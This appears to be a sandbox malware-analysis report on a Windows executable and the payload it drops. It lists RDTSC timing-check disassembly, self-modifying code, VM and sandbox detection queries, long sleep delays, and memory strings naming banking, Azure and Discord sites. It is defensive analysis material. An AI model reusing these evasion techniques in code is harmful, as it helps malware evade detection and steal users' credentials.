Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170377 second address: 51703E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FDD98C55BF6h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 jmp 00007FDD98C55BEEh 0x00000019 jmp 00007FDD98C55BF2h 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 jmp 00007FDD98C55BF0h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FDD98C55BEDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51703E6 second address: 51703EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51703EC second address: 51703F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51703F2 second address: 51703F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51703F6 second address: 51703FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51703FA second address: 5170431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FDD98B6CD22h 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDD98B6CD27h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170431 second address: 517050E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007FDD98C55BEBh 0x0000000c jmp 00007FDD98C55BF3h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 test esi, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FDD98C55BF4h 0x0000001e or ecx, 6AEDCD08h 0x00000024 jmp 00007FDD98C55BEBh 0x00000029 popfd 0x0000002a mov edi, eax 0x0000002c popad 0x0000002d je 00007FDE0A433B16h 0x00000033 jmp 00007FDD98C55BF2h 0x00000038 cmp dword ptr [769B459Ch], 05h 0x0000003f jmp 00007FDD98C55BF0h 0x00000044 je 00007FDE0A44BBC7h 0x0000004a jmp 00007FDD98C55BF0h 0x0000004f xchg eax, esi 0x00000050 pushad 0x00000051 jmp 00007FDD98C55BEEh 0x00000056 push ecx 0x00000057 mov ax, bx 0x0000005a pop ebx 0x0000005b popad 0x0000005c push eax 0x0000005d jmp 00007FDD98C55BF3h 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FDD98C55BF5h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170560 second address: 517057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517057D second address: 5170599 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170599 second address: 51705B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51705ED second address: 51705FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51705FC second address: 517062D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 mov si, 8237h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d jmp 00007FDD98B6CD1Ah 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDD98B6CD27h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517062D second address: 5170633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: 96E4D7 second address: 96E4E4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AD60FC second address: AD6103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE82C0 second address: AE82F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDD98B6CD1Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FDD98B6CD27h 0x00000014 jmp 00007FDD98B6CD1Ah 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE82F5 second address: AE82FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE82FC second address: AE8302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE8434 second address: AE844E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007FDD98C55BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FDD98C55BE6h 0x00000014 ja 00007FDD98C55BE6h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAAEB second address: AEAAEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAAEF second address: AEAB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FDD98C55BF9h 0x0000000c jmp 00007FDD98C55BF3h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAB15 second address: AEAB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD26h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAB30 second address: AEAB3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FDD98C55BE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAC90 second address: AEAC96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAC96 second address: AEAC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAC9A second address: AEACBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FDD98B6CD20h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEACBD second address: AEAD83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b ja 00007FDD98C55BF5h 0x00000011 pop eax 0x00000012 jmp 00007FDD98C55BF1h 0x00000017 push 00000003h 0x00000019 pushad 0x0000001a xor dword ptr [ebp+122D1D8Ch], esi 0x00000020 mov dword ptr [ebp+122D2EC5h], edx 0x00000026 popad 0x00000027 push 00000000h 0x00000029 mov di, 8857h 0x0000002d push 00000003h 0x0000002f jnp 00007FDD98C55BFBh 0x00000035 push 98F1B68Eh 0x0000003a pushad 0x0000003b pushad 0x0000003c push edi 0x0000003d pop edi 0x0000003e push edi 0x0000003f pop edi 0x00000040 popad 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 jmp 00007FDD98C55BF4h 0x00000049 popad 0x0000004a popad 0x0000004b xor dword ptr [esp], 58F1B68Eh 0x00000052 add dword ptr [ebp+122D2C3Fh], esi 0x00000058 lea ebx, dword ptr [ebp+12450937h] 0x0000005e pushad 0x0000005f mov di, 1FBCh 0x00000063 and ax, 5222h 0x00000068 popad 0x00000069 xchg eax, ebx 0x0000006a jmp 00007FDD98C55BF7h 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 push edi 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AEAD83 second address: AEAD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE0106 second address: AE0115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE0115 second address: AE0119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE0119 second address: AE012F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FDD98C55BE6h 0x00000010 jng 00007FDD98C55BE6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE012F second address: AE0133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE0133 second address: AE013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDD98C55BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE013F second address: AE0145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AE0145 second address: AE0149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0B3EF second address: B0B3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0B3F5 second address: B0B3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0B3FA second address: B0B3FF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0B97F second address: B0B99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDD98C55BF5h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0BC26 second address: B0BC2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0BC2A second address: B0BC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0BC33 second address: B0BC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0BC3E second address: B0BC53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FDD98C55BE6h 0x00000009 pushad 0x0000000a popad 0x0000000b jne 00007FDD98C55BE6h 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0C2DD second address: B0C2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0C2E3 second address: B0C2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0C2E7 second address: B0C306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98B6CD29h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0CB8B second address: B0CB90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0CB90 second address: B0CBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD1Ah 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007FDD98B6CD16h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0CD4E second address: B0CD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDD98C55BE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0CD5A second address: B0CD5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0CD5E second address: B0CD62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0D334 second address: B0D355 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FDD98B6CD21h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007FDD98B6CD16h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B0F3F9 second address: B0F3FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B1279B second address: B127A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AD2C03 second address: AD2C32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEEh 0x00000007 jmp 00007FDD98C55BF7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: AD2C32 second address: AD2C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B1811B second address: B18143 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDD98C55BFFh 0x00000008 jmp 00007FDD98C55BF9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B18143 second address: B18175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD28h 0x00000009 pop ecx 0x0000000a jmp 00007FDD98B6CD25h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B18175 second address: B1818E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDD98C55BF2h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	RDTSC instruction interceptor: First address: B17624 second address: B1762A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EEFF5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EEEC6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EC0AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7A5699 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 827B2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Special instruction interceptor: First address: 96DD56 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Special instruction interceptor: First address: B227A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Special instruction interceptor: First address: BB0C54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Special instruction interceptor: First address: 974AD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Special instruction interceptor: First address: 974D2E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Memory allocated: 4B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Memory allocated: 4DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Memory allocated: 4BE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Code function: 5_2_00AE7E90 rdtsc

5_2_00AE7E90

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Code function: 5_2_00AFDC5E sidt fword ptr [esp-02h]

5_2_00AFDC5E

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 1488	Thread sleep time: -270000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe TID: 3748	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2370068336.0000000000771000.00000040.00000001.01000000.00000003.sdmp, 4EIXPY3PJ1MHC0SHPSNPXSN.exe, 4EIXPY3PJ1MHC0SHPSNPXSN.exe, 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2348788505.000000000144E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375214282.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375274010.000000000144E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2185122147.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2185425343.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
